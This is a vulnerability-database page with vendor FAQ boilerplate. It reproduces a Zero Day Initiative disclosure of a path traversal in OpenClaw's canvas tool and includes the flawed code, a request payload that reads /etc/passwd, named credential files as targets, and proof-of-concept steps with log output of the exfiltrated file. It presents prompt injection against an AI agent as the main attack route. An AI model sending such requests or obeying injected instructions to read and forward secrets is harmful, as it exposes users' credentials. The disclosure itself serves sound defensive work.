How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

328,409

Total vulnerabilities in the database

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw

-- VULNERABILITY DETAILS ------------------------

Version tested: openclaw 2026.2.17
Platform tested: macOS 26.3

Analysis

Description

The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.

The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.

Root Cause

In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:

case &quot;a2ui_push&quot;: {
  const jsonl =
    typeof params.jsonl === &quot;string&quot; &amp;&amp; params.jsonl.trim()
      ? params.jsonl
      : typeof params.jsonlPath === &quot;string&quot; &amp;&amp; params.jsonlPath.trim()
        ? await fs.readFile(params.jsonlPath.trim(), &quot;utf8&quot;)  // &lt;-- NO PATH VALIDATION
        : &quot;&quot;;
  if (!jsonl.trim()) {
    throw new Error(&quot;jsonl or jsonlPath required&quot;);
  }
  await invoke(&quot;canvas.a2ui.pushJSONL&quot;, { jsonl });
  return jsonResult({ ok: true });
}

The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is:

No allowlist of permitted directories
No canonicalization (path.resolve / realpath)
No check against directory traversal sequences (..)
No restriction to .jsonl file extensions

Attack Scenario

Prompt Injection (Primary)

OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack �� where malicious instructions are embedded in content the AI processes �� can direct the agent to call:

POST /tools/invoke
Authorization: Bearer &lt;agent&#039;s token&gt;
Content-Type: application/json

{
  &quot;tool&quot;: &quot;canvas&quot;,
  &quot;args&quot;: {
    &quot;action&quot;: &quot;a2ui_push&quot;,
    &quot;jsonlPath&quot;: &quot;/etc/passwd&quot;,
    &quot;node&quot;: &quot;node-host&quot;
  }
}

The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.

Reproduction Steps

Prerequisites

Docker installed
Python 3
OpenClaw Docker image built as openclaw:local

Steps

Navigate to the PoC directory and start the environment:
cd vulnerabilities/01-canvas-a2ui-push-lfi docker compose up -d --wait
This starts two containers:
- Gateway (openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701
- Node (openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)
Wait a few seconds for the node to authenticate, then run the PoC:
python3 poc.py
The PoC runs three tests:

| Test | Description | Result | |------|-------------|--------| | 1 �� No auth | POST /tools/invoke without token | 401 Unauthorized | | 2 �� Exploit | POST /tools/invoke with token, jsonlPath=/etc/passwd | 200 OK (file read) | | 3 �� Exfiltration | Check node container logs for received file contents | /etc/passwd contents visible |
Test 2 sends: {"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads /etc/passwd via fs.readFile() and forwards the contents to the node via canvas.a2ui.pushJSONL. The node logs show the full exfiltrated file:
[node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ====== root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... node:x:1000:1000::/home/node:/bin/bash
Cleanup:
docker compose down -v

-- CREDIT --------------------------------------- This vulnerability was discovered by: Peter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative

-- FURTHER DETAILS ------------------------------

Supporting files: ZDI-CAN-29312.zip

If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.

Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:

Zero Day Initiative zdi-disclosures@trendmicro.com

The PGP key used for all ZDI vendor communications is available from:

http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc

-- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.

Please contact Zero Day Initiative for further details or refer to:

http://www.zerodayinitiative.com

-- DISCLOSURE POLICY ----------------------------

Zero Day Initiative's vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Fix Commit(s)

39816e61b0c4347a83c9b76bc8883190cfe5a3c9

Published: Mar 2, 2026
Updated: Mar 5, 2026
GHSA: GHSA-jq4x-98m3-ggq6
Severity: High
Exploit:

No technical information available.

CWEs:

CWE-22

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
openclaw	-	2026.2.21

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.